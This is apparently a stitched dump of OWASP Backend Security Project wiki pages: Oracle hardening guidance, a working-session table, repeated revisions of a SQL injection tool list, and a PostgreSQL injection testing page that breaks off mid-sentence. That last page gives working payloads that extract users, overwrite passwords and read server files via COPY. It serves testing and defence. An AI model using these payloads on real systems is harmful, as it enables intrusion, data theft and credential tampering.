A number of default database server user accounts are create during the installation process so, if the Database Configuration Assistant is not used, default database user accounts should be all locked and expired. Unlock only those accounts that need to be accessed on a regular basis and assign a strong password to each of these unlocked accounts.

Example SQL for reviewing the Oracle Default Accounts with status “OPEN”:

SQL> SELECT <user_name> FROM dba_users WHERE account_status <> ’OPEN’ ORDER BY <user_name>;

Example SQL for Locking Accounts:

SQL> ALTER USER <user_name> ACCOUNT LOCK;

=== Change default password ===

The major weakness concerning the password is that some user default accounts, after the installation, still have a default password associated, the passwords of all default accounts should be reviewed (SYS, SYSTEM, DBSNMP, OUTLN and so on) and changed if necessary.

=== Enforce password policy ===

The password policy should be enforced by password verification function setting password parameter (list below) and providing password complexity feature like minimum length, password not same as the username, the password contains repeating characters, the password differs from the previous password by at least a certain number of letters.

Example SQL for setting a password verification function to a profile:

SQL> CREATE PROFILE <profile_name> LIMIT PASSWORD_VERIFICATION_FUCTION <function_name>

Example SQL for assigning profile profile to a user:

SQL> CREATE USER <user_name> IDENTIFIED BY <password> PROFILE <profile_name>;

=== Privileges and Roles ===

Due to the great number and variety of applications that make use of the database, it’s difficult to define in advance which kind of privilege have to be granted to a user. In order to make this choice, could be a good practice the “principle of least privilege”, that is not providing database users, especially PUBLIC, more privileges than necessary.

The user privileges are split in System Privileges and Object Privileges, you can grant privileges to users explicitly:

SQL> GRANT <object_privilege> ON <object_name> TO <user_name>;
SQL> GRANT <system_privilege> TO <user_name> [WITH ADMIN OPTION];

Where “WITH ADMIN OPTION” means that the new user can grant the same system privilege to another user.

Also, you can grant privileges to a role (recommended), a group of privileges:

SQL> GRANT <object_privilege> ON <object_name> TO <role_name>;
SQL> GRANT <system_privilege> TO <role_name>;

and then you should grant the role to users:

SQL> GRANT <role_name> TO <user_name>;

Periodically, is better to review the privileges (system and object) of the all database user. As an example, it is possible to use the following SQL script by executing as a user with the right privileges in order to review the system privilege (only) of specific user:

set pagesize 0
set head off
set feed off
set linesize 240
set trimspool on
col ord noprint
set echo off
accept username prompt' Insert a value for username:'
SELECT LPAD(' ', 2*level) || granted_role "USER PRIVS"
FROM (
SELECT NULL grantee, username granted_role
FROM dba_users
WHERE username LIKE UPPER('&&username')
UNION
SELECT grantee, granted_role
FROM dba_role_privs
UNION
SELECT grantee, privilege
FROM dba_sys_privs)
START WITH grantee IS NULL
CONNECT BY grantee = prior granted_role;

An example of output:

Insert a value for username: owasp
OWASP
CONNECT
CREATE SESSION
RESOURCE
CREATE CLUSTER
CREATE INDEXTYPE
CREATE OPERATOR
CREATE PROCEDURE
CREATE SEQUENCE
CREATE TABLE
CREATE TRIGGER
CREATE TYPE
UNLIMITED TABLESPACE

Afterward revoke the privileges that is not necessary from user:

SQL> REVOKE <system_privilege> FROM <user_name>;
SQL> REVOKE <object_privilege> ON <object_name> FROM <user_name>;

or from role:

SQL> REVOKE <system_privilege> FROM <role_name>;
SQL> REVOKE <object_privilege> ON <object_name> FROM <role_name>;

=== Automated processing database accounts ===

The major weakness using batch jobs is to manage user names and passwords in fact, typically, it connects to databases by using directly the command sqlplus:

sqlplus -s <user_name>/<password>@<TNS alias> << EOF
<SQL statement>
EOF

In this way it is possible to see the username and password in clear text by using the command to check the process status, such as “ps” command in a unix environment.
To avoid it could be used a standard CONNECT statement within batch jobs, like this:

sqlplus /nolog << EOF
CONNECT <user_name>/<password>
<SQL statement>
EOF

IIn this last case it is suggested to save the crypted password in a well protected configuration file and then decrypt them just before execute the CONNECT statement.
Another (recommended) possibility is to delegate the password management to a guaranteed third part as Secure External Password Store provided by Oracle Advanced Security component that save the credentials in a secure way.
When the clients are configured to use the secure external password store, batch jobs can connect to a database replacing the login credentials with an alias (database connection string) stored into container (named wallet).

To enable clients to use the external password store the first thing to do is to create an Oracle wallet with the autologin feature (access to wallet contents not require a password ) by using the follow command from OS command prompt:

mkstore -wrl <wallet_location> -create

Then, you should create database connection credentials in the wallet:

mkstore -wrl <wallet_location> -createCredential <db_connect_string> <user_name> <password>

After the wallet is ready, you should force the client to use the information stored in the “secure password store” to authenticate to databases by configuring sqlnet.ora file.

Example of entries to add in sqlnet.ora file:

WALLET_LOCATION =
(SOURCE =
(METHOD = FILE)
(METHOD_DATA =
(DIRECTORY = <wallet_location>)
)
)
SQLNET.WALLET_OVERRIDE = TRUE

The same configuration are possible to do by using Oracle Wallet Manager.

Following this way the risk is reduced because passwords are not exposed in the clear-text considering the applications can connect to a database with the following CONNECT statement syntax:

connect /@<db_connect_string>

where “db_connect_string” is the database connection credential, created before.

== Network security ==

=== Encrypt network logins ===

The password information in a connection request should be encrypted to protect against network eavesdropping. The value of the follow parameter should be review:

ORA_ENCRYPT_LOGIN (on the client machine)
DBLINK_ENCRYPT_LOGIN (on the server machine)

Once these parameters have been set to TRUE, passwords will be encrypted in connection requests.
Note that on Oracle version 9.02 and later these parameter are not available, in fact it encrypts automatically the password information when transmitting over a network, although the setting or changing of passwords is NOT encrypted when across the network.

=== Protect network communications ===

Consider configuring the Oracle Advanced Security component to use Secure Socket Layer (SSL) encrypting network traffic between clients and databases to avoid network eavesdropping.
Below, you can see an example of a basic configuration:

==== Server side ====

To enable SSL database connection it would be correct to create an Oracle wallet (with the autologin feature) and generate a certificate request by using Wallet Manager component. Then it should be sent to the Certificate Authority; when the CA trusted and the user certificate is received, these certificate should be imported into the wallet. Then configure the Oracle Advanced Security component by using the Net Manager utility (recommended) or modify the sqlnet.ora and listener.ora file. At the end, the sqlnet.ora and listener.ora files should contain the following entries:

WALLET_LOCATION =
(SOURCE =
(METHOD = FILE)
(METHOD_DATA =
(DIRECTORY = <wallet_location> )
)
)
SSL_CLIENT_AUTHENTICATION = FALSE
SQLNET.AUTHENTICATION_SERVICES= (TCPS)

==== Client side ====

After the wallet is configured, the client should be configured to use SSL connection to connect to databases by configuring sqlnet.ora file. Example of entries to add in sqlnet.ora file:

WALLET_LOCATION =
(SOURCE =
(METHOD = FILE)
(METHOD_DATA =
(DIRECTORY = <wallet_location> )
)
)
SSL_SERVER_DN_MATCH = OFF
SSL_CLIENT_AUTHENTICATION = FALSE
SQLNET.AUTHENTICATION_SERVICES= (TCPS)

Now, a network connection to the SSL listener should be configured by configuring the tnsname.ora file:

SSL =
(DESCRIPTION =
(ADDRESS_LIST =
(ADDRESS = (PROTOCOL = TCPS)(HOST = <host_name>)(PORT = <port>))
)
(CONNECT_DATA =
(SID = <SID_name>)
)
)

=== XML database (XDB) protocol server ===

The XML Database (XDB) offers access to the Oracle XML DB resources using the standard Internet protocols FTP, listening on TCP port 2100, and HTTP, listening on TCP port 8080.
The Oracle XML DB Protocol Server is a specific type of Oracle shared server dispatcher and is specified in the Oracle database initialization parameter file for startup, so if XDB is not used it should be turned off editing the init<SID>.ora or spfile<SID>.ora (replace SID with the name of your SID) file and remove or comment the follow line:

dispatchers="(PROTOCOL=TCP) (SERVICE=<SID>XDB)"

If access via the Internet protocols is required, logging should be enabled by setting the “ftp-log-level” and “http-log-level” parameters to a value of 1 in xdbconfig.xml file.

== Oracle TNS Listener security ==

=== Password ===

A listener password should be set at the end of listener configuration process to avoid from unauthorized start, stop, and configure. The password will be stored in encrypted format within the listener.ora file by using the LSNRCTL utility:

LSNRCTL> set current_listener <listener_name>
LNSRCTL> set password
Password: (type "enter" if it is the first time)
The command completed successfully
LSNRCTL> change_password
Old password: (type "enter")
New password: <new_password>
Reenter new password: <new_password>
[…]
The command completed successfully
LSNRCTL> save_config (important to save the configuration)
[…]
Saved LISTENER configuration parameters.
Listener Parameter File […]
Old Parameter File […]
The command completed successfully
LSNRCTL> exit

=== Admin restrictions ===

The remote administration of the Oracle listener should be prevented by setting to TRUE the ADMIN_RESTRICTIONS parameter in the listener.ora file:

ADMIN_RESTRICTIONS_<listener_name> = TRUE

=== Network address restriction ===

The network address restrictions should be enforced by the Oracle listener to further protect the database from unauthorized remote access, especially when the PLSQL EXTPROC is in use. To enable network address restriction, edit the SQLNET.ORA to add the follow line:

TCP.VALIDNODE_CHECKING = YES

Then, to define TCP/IP addresses that are allowed to connect to database add the follow line:

TCP.INVITED_NODES = <list of IP addresses>

At the end, to defines TCP/IP addresses that are refused connections to the database set the follow parameter

TCP.EXCLUDED_NODES = <list of IP addresses>

=== External procedures ===

The EXTPROC functionality is used by PL/SQL component to make calls to the operating system and to load necessary library to execute external procedure, but if the Oracle Database server is not properly patched it even could allow unauthorized administrative access to the server machine through the Oracle Listener. If the EXTPROC functionality is not required, it has to be disabled by editing the tnsname.ora and listener.ora files and removing the entries regarding this functionality.

Example of entries to remove in tnsname.ora file:

[…]
EXTPROC_CONNECTION_DATA =
(DESCRIPTION =
(ADDRESS_LIST =
(ADDRESS = (PROTOCOL = IPC)(KEY = EXTPROC))
)
(CONNECT_DATA =
(SID = PLSExtProc)
(PRESENTATION = RO)
)
)
[…]

Example of entries to remove in listener.ora file:

[…]
(ADDRESS_LIST =
(ADDRESS = (PROTOCOL = IPC)(KEY = EXTPROC))
)
[…]

[…]
(SID_DESC =
(SID_NAME = PLSExtProc)
(ORACLE_HOME = […])
)
[…]

After that restart the Oracle Net listener process.
Then check if the configuration take effect by using the operation status in LSNRCTL command, and review the configuration if the last command display the follow lines:

Listening Endpoints Summary...
(DESCRIPTION=(ADDRESS=(PROTOCOL=ipc)(KEY=EXTPROC)))
[…]
Services Summary...
Service "PLSExtProc" has 1 instance(s).
Instance "PLSExtProc", status UNKNOWN, has 1 handler(s) for this service...
[…]

Otherwise, the configuration is correct!

If, instead, the EXTPROC functionality is required in your environment, configure a Oracle Net Listener for PL/SQL EXTPROC with an IPC (recommended) or TCP protocol address.
It is a good idea to enforce the network address restrictions when you use the TCP protocol address.

=== Inbound connection timeout ===

The amount of time the listener waits for a network client to complete the connection request should be manage to prevent a denial of service attack.
The name of parameter to set to configure inbound connection timeout and the name of the file of configuration, depends on Oracle version.

=== Logging ===

To enable logging on the listener, use Net Manager utility or modify the listener.ora file on server machine.
At the end, the listener.ora file should contain the follow entries:

LOGGING_<listener name> = ON
LOG_DIRECTORY_<listener name> = <log directory location>
LOG_FILE_<listener name> = <log file name>

== Audit ==

To properly protect database access the auditing of user database activities should be implemented in order to identify any suspicious activity or to check if an user has more privileges than expected.

=== Start Audit Service ===

To start the audit service execute “cataudit.sql” as SYS account. Then, choose if it is wanted to store the audit record to DataBase or Operating System file by setting the parameter “AUDIT_TRAIL” to DB or OS. The database audit trail is a single table named SYS.AUD$, but there are predefined views that help to use the information in this table, while as regard operating system audit trail the audit records are written into the directory that you choose by setting the “AUDIT_FILE_DEST” parameter.

=== Enable Audit ===

Once you start the audit service, it is possible choose to audit the sys operation by setting the AUDIT_SYS_OPERATION to TRUE. So that, Oracle Database audit connections to the database with administrator privileges, database startup and shutdown.
Then, it is possible enable other options, by using AUDIT SQL statement:

* Statement Auditing.
* Privilege Auditing.
* Schema Object Auditing.

An example to audit some activities on table “test” owned by OWASP (Schema Object Auditing):

SQL> AUDIT INSERT, UPDATE, DELETE ON owasp.test BY ACCESS;

Oracle Database allow to write a single audit record for all SQL statements in the same session, using the “by session” option in the audit SQL command or to write one record for each access, using the “by access” option.
Then, Oracle Database allows, also, to write the successful executions of statements, using the “whenever successful” option in the audit SQL command or unsuccessful attempts to execute statements, using the “whenever not successful”.

=== Disable Audit ===

To turn off an audit option use the statement “NOAUDIT”, such as:

SQL> NOAUDIT ALL PRIVILEGES;

=== Check Audit ===

When using the database audit trail use the “SELECT” statement from the follow view to show the enabled audit:

{| class="wikitable"
! Type of Audit !! View Name
|-
| Default Auditing || ALL_DEF_AUDIT_OPTS
|-
|-
| Statment Auditing || DBA_STMT_AUDIT_OPTS
|-
|-
| Object Auditing || DBA_OBJ_AUDIT_OPTS
|-
|-
| Privilege Auditing || DBA_PRIV_AUDIT_OPT
|-
|}

An example:

SQL> SELECT * FROM DBA_STMT_AUDIT_OPTS;

USER_NAME AUDIT_OPTION SUCCESS FAILURE
-------------------- ------------------- ---------- ---------
OWASP SESSION BY SESSION BY SESSION

= References =

[1] The Oracle Hacker's Handbook: Hacking and Defending Oracle by David Litchfield

[2] The Database Hacker's Handbook: Defending Database Servers by David Litchfield

[3] Database Security Technical Implementation Guide by DISA for the DOD

[4] Oracle Database Security Guide by Oracle Corporation

[5] Oracle Database Security Checklist by Oracle Corporation

Working Session Winter of Code 2009

2008-10-24T17:45:18Z

Carlo.pelliccioni:

{| style="width:100%" border="0" align="center"
! colspan="7" align="center" style="background:#b3b3b3; color:white"|'''Working Sessions Operational Rules''' - [[:Working Sessions Methodology|'''Please see here the general frame of rules''']].
|}
{| style="width:100%" border="0" align="center"
! colspan="7" align="center" style="background:#4058A0; color:white"|'''WORKING SESSION IDENTIFICATION'''
|-
| style="width:15%; background:#7B8ABD" align="center"|'''Work Session Name'''
| colspan="6" style="width:85%; background:#cccccc" align="left"|'''OWASP Winter of Code 2009'''
|-
| style="width:15%; background:#7B8ABD" align="center"| '''Short Work Session Description'''
| colspan="6" style="width:85%; background:#cccccc" align="left"|Aims to define the next OWASP Season of Code frame.
|-
| style="width:15%; background:#7B8ABD" align="center"| '''Related Projects (if any)'''
| colspan="6" style="width:85%; background:#cccccc" align="left"|
*[[:OWASP Summer of Code 2008|OWASP Summer of Code 2008]],
*[[:OWASP Spring Of Code 2007|OWASP Spring Of Code 2007]],
*[[:OWASP Autumn Of Code 2006|OWASP Autumn Of Code 2006]].
|-
| style="width:25%; background:#7B8ABD" align="center"|'''Email Contacts & Roles'''
| style="width:25%; background:#cccccc" align="center"|'''Chair''' [mailto:dinis.cruz(at)owasp.org '''Dinis Cruz'''], [mailto:seba(at)owasp.org '''Sebastien Deleersnyder''']
| style="width:25%; background:#cccccc" align="center"|'''Secretary''' [mailto:paulo.coimbra(at)owasp.org '''Paulo Coimbra''']
| style="width:25%; background:#cccccc" align="center"|'''Mailing list''' [https://lists.owasp.org/mailman/listinfo/owasp-winter-of-code-2009 '''Subscription Page''']
|}
{| style="width:100%" border="0" align="center"
! colspan="7" align="center" style="background:#4058A0; color:white"|'''WORKING SESSION SPECIFICS'''
|-
| style="width:15%; background:#7B8ABD" align="center"|'''Objectives'''
| colspan="6" style="width:85%; background:#cccccc" align="left"|
* Define the operation model for the next OWASP Season of Code (the Winter of Code 08),
* Identify which areas should receive priority selection,
* Create 'virtual teams' from the attendees and allocate them to key projects,
* Discuss sponsoring models.
|-
| style="width:25%; background:#7B8ABD" align="center"|'''Venue/Date&Time/Model'''
| style="width:25%; background:#cccccc" align="center"|'''Venue''' [[:OWASP EU Summit 2008|OWASP EU Summit Portugal 2008]]
| style="width:25%; background:#cccccc" align="center"|'''Date&Time''' November 4 & 7, 2008 Time TBD
| style="width:25%; background:#cccccc" align="center"|'''Discussion Model''' "Everybody is a Participant"
|}
{| style="width:100%" border="0" align="center"
! colspan="7" align="center" style="background:white; color:white"|
|}

{|style="width:100%" border="0" align="center"
! colspan="7" align="center" style="background:#4058A0; color:white"|'''WORKING SESSION OPERATIONAL RESOURCES'''
|-
| style="width:100%; background:#cccccc" align="center"|Please add here, ASAP, any needed relevant resources, e.g. data-show, boards, laptops, etc.
|}
{| style="width:100%" border="0" align="center"
! colspan="7" align="center" style="background:white; color:white"|
|}
{| style="width:100%" border="0" align="center"
! colspan="7" align="center" style="background:#4058A0; color:white"|'''WORKING SESSION ADDITIONAL DETAILS'''
|-
| style="width:100%; background:#cccccc" align="center"|Please add here, any additional notes, links, ideas, guidelines, etc... The objective is to help the working sessions participants and attendees to prepare their participation/contribution
|}
{| style="width:100%" border="0" align="center"
! colspan="3" align="center" style="background:#4058A0; color:white"|'''WORKING SESSION OUTCOMES'''
|-
| style="width:7%; background:#6C82B5" align="center"|Statements, Initiatives or Decisions
| style="width:46%; background:#b3b3b3" align="center"|'''Proposed by Working Group'''
| style="width:47%; background:#b3b3b3" align="center"|'''Approved by OWASP Board'''
|-
| style="width:7%; background:#7B8ABD" align="center"|Initiative
| style="width:46%; background:#C2C2C2" align="center"|OWASP Winter of Code 08 plan.
| style="width:47%; background:#C2C2C2" align="center"|After the Board Meeting - fill in here.
|-
| style="width:7%; background:#7B8ABD" align="center"|Decision
| style="width:46%; background:#C2C2C2" align="center"|Set of projects for immediate approval (assuming the proposal is ready).
| style="width:47%; background:#C2C2C2" align="center"|After the Board Meeting - fill in here.
|-
| style="width:7%; background:#7B8ABD" align="center"|
| style="width:46%; background:#C2C2C2" align="center"|Fill in here.
| style="width:47%; background:#C2C2C2" align="center"|After the Board Meeting - fill in here.
|}
== Working Session Participants ==
(Add you name by editing this table. On your the right, just above the this frame, you have the option to edit)
{| style="width:100%" border="0" align="center"
! colspan="7" align="center" style="background:#4058A0; color:white"|'''WORKING SESSION PARTICIPANTS'''
|-
| style="width:7%; background:#7B8ABD" align="center"|
| style="width:15%; background:#cccccc" align="center"|'''Name'''
| style="width:15%; background:#cccccc" align="center"|'''Company'''
| style="width:63%; background:#cccccc" align="center"|'''Notes & reason for participating, issues to be discussed/addressed'''
|-
| style="width:7%; background:#7B8ABD" align="center"|1
| style="width:15%; background:#cccccc" align="center"| Eduardo Vianna de Camargo Neves
| style="width:15%; background:#cccccc" align="center"| Conviso IT Security
| style="width:63%; background:#cccccc" align="center"| Understand how we can help the initiative and participate to continue the Positive Security project.
|-
| style="width:7%; background:#7B8ABD" align="center"|2
| style="width:15%; background:#cccccc" align="center"|Leonardo Cavallari Militelli
| style="width:15%; background:#cccccc" align="center"|E-VAL Tecnologia
| style="width:63%; background:#cccccc" align="center"|Share feelings from other 2 season of code, discuss improvements for WoC and continue ASDR development.
|-
| style="width:7%; background:#7B8ABD" align="center"|3
| style="width:15%; background:#cccccc" align="center"|Matt Tesauro
| style="width:15%; background:#cccccc" align="center"|OWASP Live CD 2008 Project Lead
| style="width:63%; background:#cccccc" align="center"|Discuss what worked and didn't work with the SoC. Give some input on how to spread the word about OWASP's XoC's
|-
| style="width:7%; background:#7B8ABD" align="center"|4
| style="width:15%; background:#cccccc" align="center"| Matteo Meucci
| style="width:15%; background:#cccccc" align="center"| Minded Security, OWASP Testing Guide
| style="width:63%; background:#cccccc" align="center"| Discuss new ideas about projects. Should OWASP says which projects develop?
|-
| style="width:7%; background:#7B8ABD" align="center"|5
| style="width:15%; background:#cccccc" align="center"| Carlo Pelliccioni
| style="width:15%; background:#cccccc" align="center"| Symantec, OWASP Backend Security Project
| style="width:63%; background:#cccccc" align="center"| Discuss about the next OWASP sponsorship to share new ideas.
|-
| style="width:7%; background:#7B8ABD" align="center"|6
| style="width:15%; background:#cccccc" align="center"|
| style="width:15%; background:#cccccc" align="center"|
| style="width:63%; background:#cccccc" align="center"|
|-
| style="width:7%; background:#7B8ABD" align="center"|7
| style="width:15%; background:#cccccc" align="center"|
| style="width:15%; background:#cccccc" align="center"|
| style="width:63%; background:#cccccc" align="center"|
|-
| style="width:7%; background:#7B8ABD" align="center"|8
| style="width:15%; background:#cccccc" align="center"|
| style="width:15%; background:#cccccc" align="center"|
| style="width:63%; background:#cccccc" align="center"|
|-
| style="width:7%; background:#7B8ABD" align="center"|9
| style="width:15%; background:#cccccc" align="center"|
| style="width:15%; background:#cccccc" align="center"|
| style="width:63%; background:#cccccc" align="center"|
|-
| style="width:7%; background:#7B8ABD" align="center"|10
| style="width:15%; background:#cccccc" align="center"|
| style="width:15%; background:#cccccc" align="center"|
| style="width:63%; background:#cccccc" align="center"|
|}
If needed add here more lines.

[[Category:OWASP_Working_Session]]

OWASP Backend Security Project Tools

2008-10-21T01:19:32Z

Carlo.pelliccioni: /* Tools */

= Tools =

The aim of this section is to enumerate and quickly describe the tools used to find and exploit some vulnerabilities concerning database management systems.

== SQL Ninja ==

SQL Ninja is a tool, written in Perl, which helps a penetration tester to gain a shell on a system running Microsoft SQL server, exploiting a web application resulted vulnerable to SQL Injection.

http://sqlninja.sourceforge.net

== SQLMap ==

SQLMap is a Python application able to collect information and data, such as databases names, table’s names and contents, and read system files from a MySQL, Oracle, PostgreSQL or Microsoft SQL Server Database Management Systems, exploiting the SQL Injection vulnerability of a vulnerable web application.

http://sqlmap.sourceforge.net

== OWASP SQLiX ==

SQLiX is a tool, written in Perl, able to identify the back-end database, find blind and normal injection and also execute system commands on a Microsoft SQL Server. It was also successfully tested on MySQL and PostgreSQL.

http://www.owasp.org/index.php/Category:OWASP_SQLiX_Project

== Scuba ==

Scuba is a Database vulnerability scanner able to find vulnerabilities like unpatched software, unsafe processes and weak password on Oracle, DB2, Microsoft SQL Server and Sybase.

http://www.imperva.com/products/scuba.html

== SQID SQL Injection Digger ==

SQL injection digger is a command line program, written in [http://www.ruby-lang.org/ ruby], that looks for SQL injections and common errors in websites. It can perform the following operations:
* Look for SQL injection in a webpage, by looking for links
* Submit forms in a webpage to look for SQL injection
* Crawl a website to perform the above listed operations
* Perform a google search for a query and look for SQL injections in the urls found

http://sqid.rubyforge.org

== SqlDumper ==

Exploiting a SQL injection vulnerability SqlDumper can make dump of any file in the file system. It work only with DBMS MySql.

http://www.ictsc.it/site/IT/projects/sqlDumper/sqlDumper.php

== SQL Power Injector ==

SQL Power Injector is a .Net 1.1 application used to find and exploit SQL Injection vulnerability through a vulnerable web application which uses SQL Server, MySql, Sybase/Adaptive Server and DB2 Database Management Systems as backend. It’s main feature is the support for multithreaded automation of the injection.

http://www.sqlpowerinjector.com

== BobCat ==

BobCat is a tool based on “Data Thief” and realized in .NET 2.0. It permits to take full advantage of SQL Injection vulnerability discovered in a web application to steal data, gain a shell or a reverse shell on the database management system machine. It has been tested on MSDE2000.

http://www.northern-monkee.co.uk/index.html

OWASP Backend Security Project Tools

2008-10-21T01:18:55Z

Carlo.pelliccioni: /* SQID SQL Injection Digger */

= Tools =

The aim of this section is to enumerate and quickly describe the tools used to find and exploit some vulnerabilities concerning database management systems.

== SQL Ninja ==

SQL Ninja is a tool, written in Perl, which helps a penetration tester to gain a shell on a system running Microsoft SQL server, exploiting a web application resulted vulnerable to SQL Injection.

http://sqlninja.sourceforge.net

== SQLMap ==

SQLMap is a Python application able to collect information and data, such as databases names, table’s names and contents, and read system files from a MySQL, Oracle, PostgreSQL or Microsoft SQL Server Database Management Systems, exploiting the SQL Injection vulnerability of a vulnerable web application.

http://sqlmap.sourceforge.net

== OWASP SQLiX ==

SQLiX is a tool, written in Perl, able to identify the back-end database, find blind and normal injection and also execute system commands on a Microsoft SQL Server. It was also successfully tested on MySQL and PostgreSQL.

http://www.owasp.org/index.php/Category:OWASP_SQLiX_Project

== Scuba ==

Scuba is a Database vulnerability scanner able to find vulnerabilities like unpatched software, unsafe processes and weak password on Oracle, DB2, Microsoft SQL Server and Sybase.

http://www.imperva.com/products/scuba.html

== SQID SQL Injection Digger ==

SQL injection digger is a command line program, written in [http://www.ruby-lang.org/ ruby], that looks for SQL injections and common errors in websites. It can perform the following operations:
* Look for SQL injection in a webpage, by looking for links
* Submit forms in a webpage to look for SQL injection
* Crawl a website to perform the above listed operations
* Perform a google search for a query and look for SQL injections in the urls found

http://sqid.rubyforge.org

=== SqlDumper ===

Exploiting a SQL injection vulnerability SqlDumper can make dump of any file in the file system. It work only with DBMS MySql.

http://www.ictsc.it/site/IT/projects/sqlDumper/sqlDumper.php

=== SQL Power Injector ===

SQL Power Injector is a .Net 1.1 application used to find and exploit SQL Injection vulnerability through a vulnerable web application which uses SQL Server, MySql, Sybase/Adaptive Server and DB2 Database Management Systems as backend. It’s main feature is the support for multithreaded automation of the injection.

http://www.sqlpowerinjector.com

=== BobCat ===

BobCat is a tool based on “Data Thief” and realized in .NET 2.0. It permits to take full advantage of SQL Injection vulnerability discovered in a web application to steal data, gain a shell or a reverse shell on the database management system machine. It has been tested on MSDE2000.

http://www.northern-monkee.co.uk/index.html

OWASP Backend Security Project Tools

2008-10-21T01:18:37Z

Carlo.pelliccioni: /* Tools */

= Tools =

The aim of this section is to enumerate and quickly describe the tools used to find and exploit some vulnerabilities concerning database management systems.

== SQL Ninja ==

SQL Ninja is a tool, written in Perl, which helps a penetration tester to gain a shell on a system running Microsoft SQL server, exploiting a web application resulted vulnerable to SQL Injection.

http://sqlninja.sourceforge.net

== SQLMap ==

SQLMap is a Python application able to collect information and data, such as databases names, table’s names and contents, and read system files from a MySQL, Oracle, PostgreSQL or Microsoft SQL Server Database Management Systems, exploiting the SQL Injection vulnerability of a vulnerable web application.

http://sqlmap.sourceforge.net

== OWASP SQLiX ==

SQLiX is a tool, written in Perl, able to identify the back-end database, find blind and normal injection and also execute system commands on a Microsoft SQL Server. It was also successfully tested on MySQL and PostgreSQL.

http://www.owasp.org/index.php/Category:OWASP_SQLiX_Project

== Scuba ==

Scuba is a Database vulnerability scanner able to find vulnerabilities like unpatched software, unsafe processes and weak password on Oracle, DB2, Microsoft SQL Server and Sybase.

http://www.imperva.com/products/scuba.html

=== SQID SQL Injection Digger ===

SQL injection digger is a command line program, written in [http://www.ruby-lang.org/ ruby], that looks for SQL injections and common errors in websites. It can perform the following operations:
* Look for SQL injection in a webpage, by looking for links
* Submit forms in a webpage to look for SQL injection
* Crawl a website to perform the above listed operations
* Perform a google search for a query and look for SQL injections in the urls found

http://sqid.rubyforge.org

=== SqlDumper ===

Exploiting a SQL injection vulnerability SqlDumper can make dump of any file in the file system. It work only with DBMS MySql.

http://www.ictsc.it/site/IT/projects/sqlDumper/sqlDumper.php

=== SQL Power Injector ===

SQL Power Injector is a .Net 1.1 application used to find and exploit SQL Injection vulnerability through a vulnerable web application which uses SQL Server, MySql, Sybase/Adaptive Server and DB2 Database Management Systems as backend. It’s main feature is the support for multithreaded automation of the injection.

http://www.sqlpowerinjector.com

=== BobCat ===

BobCat is a tool based on “Data Thief” and realized in .NET 2.0. It permits to take full advantage of SQL Injection vulnerability discovered in a web application to steal data, gain a shell or a reverse shell on the database management system machine. It has been tested on MSDE2000.

http://www.northern-monkee.co.uk/index.html

OWASP Backend Security Project Testing PostgreSQL

2008-10-21T01:16:10Z

Carlo.pelliccioni: /* References */

= Overview =

In this paragraph, some SQL Injection techniques for PostgreSQL will be discussed.
Keep in mind the following peculiarities:

* PHP Connector allows multiple statements to be executed by using ''';''' as a statement separator
* SQL Statements can be truncated by appending the comment char: '''--'''.
* ''LIMIT'' and ''OFFSET'' can be used in a ''SELECT'' statement to retrieve a portion of the result set generated by the ''query''

From here after, we assume that ''<nowiki>http://www.example.com/news.php?id=1</nowiki>'' is vulnerable to SQL Injection attacks.

= Description =

== Identifing PostgreSQL ==

When an SQL Injection has been found, you need to carefully
fingerprint the backend database engine. You can determine that the backend database engine
is PostgreSQL by using the ''::'' cast operator.

'''Examples:'''
<nowiki>http://www.example.com/store.php?id=1 AND 1::int=1</nowiki>

The function version() can be used to grab the PostgreSQL banner. This will also show the underlying operating system type and version.

'''Example''':

<nowiki>http://www.example.com/store.php?id=1 UNION ALL SELECT NULL,version(),NULL LIMIT 1 OFFSET 1--</nowiki>
PostgreSQL 8.3.1 on i486-pc-linux-gnu, compiled by GCC cc (GCC) 4.2.3 (Ubuntu 4.2.3-2ubuntu4)

== Blind Injection ==

For blind SQL injection attacks, you should take in consideration the following built-in functions:

* String Length
*: ''LENGTH(str)''
* Extract a substring from a given string
*: ''SUBSTR(str,index,offset)''
* String representation with no single quotes
*: ''CHR(104)||CHR(101)||CHR(108)||CHR(108)||CHR(111)''

Starting from 8.2 PostgreSQL has introduced a built-in function, ''pg_sleep(n)'', to make the current
session process sleep for ''n'' seconds.

In previous version, you can easyly create a custom ''pg_sleep(n)'' by using libc:
* CREATE function pg_sleep(int) RETURNS int AS '/lib/libc.so.6', 'sleep' LANGUAGE 'C' STRICT

== Single Quote unescape ==

Strings can be encoded, to prevent single quotes escaping, by using chr() function.

* chr(n): Returns the character whose ascii value corresponds to the number n
* ascii(n): Returns the ascii value corresponds to the character n

Let's say you want to encode the string 'root':
select ascii('r')
114
select ascii('o')
111
select ascii('t')
116

We can encode 'root' as:
chr(114)||chr(111)||chr(111)||chr(116)

'''Example:'''
<nowiki>http://www.example.com/store.php?id=1; UPDATE users SET PASSWORD=chr(114)||chr(111)||chr(111)||chr(116)--</nowiki>

== Attack Vectors ==

=== Current User ===

The identity of the current user can be retrieved with the following SQL SELECT statements:

SELECT user
SELECT current_user
SELECT session_user
SELECT usename FROM pg_user
SELECT getpgusername()

'''Examples:'''
<nowiki>http://www.example.com/store.php?id=1 UNION ALL SELECT user,NULL,NULL--</nowiki>
<nowiki>http://www.example.com/store.php?id=1 UNION ALL SELECT current_user, NULL, NULL--</nowiki>

=== Current Database ===

The built-in function current_database() returns the current database name.

'''Example''':

<nowiki>http://www.example.com/store.php?id=1 UNION ALL SELECT current_database(),NULL,NULL--</nowiki>

=== Reading from a file ===

ProstgreSQL provides two ways to access a local file:
* COPY statement
* pg_read_file() internal function (starting from PostgreSQL 8.1)

'''COPY:'''

This operator copies data between a file and a table. The PostgreSQL engine accesses the local file system as the ''postgres'' user.

'''Example:'''

<nowiki>
/store.php?id=1; CREATE TABLE file_store(id serial, data text)--
/store.php?id=1; COPY file_store(data) FROM '/var/lib/postgresql/.psql_history'--
</nowiki>

Data should be retrieved by performing a ''UNION Query SQL Injection'':
* retrieves number of rows previously added in ''file_store'' with ''COPY'' statement
* retrieve a row at time with UNION SQL Injection

'''Example:'''
<nowiki>
/store.php?id=1 UNION ALL SELECT NULL, NULL, max(id)::text FROM file_store LIMIT 1 OFFSET 1;--
/store.php?id=1 UNION ALL SELECT data, NULL, NULL FROM file_store LIMIT 1 OFFSET 1;--
/store.php?id=1 UNION ALL SELECT data, NULL, NULL FROM file_store LIMIT 1 OFFSET 2;--
...
...
/store.php?id=1 UNION ALL SELECT data, NULL, NULL FROM file_store LIMIT 1 OFFSET 11;--
</nowiki>

'''pg_read_file():'''

This function was introduced in ''PostgreSQL 8.1'' and allows one to read arbitrary files located inside
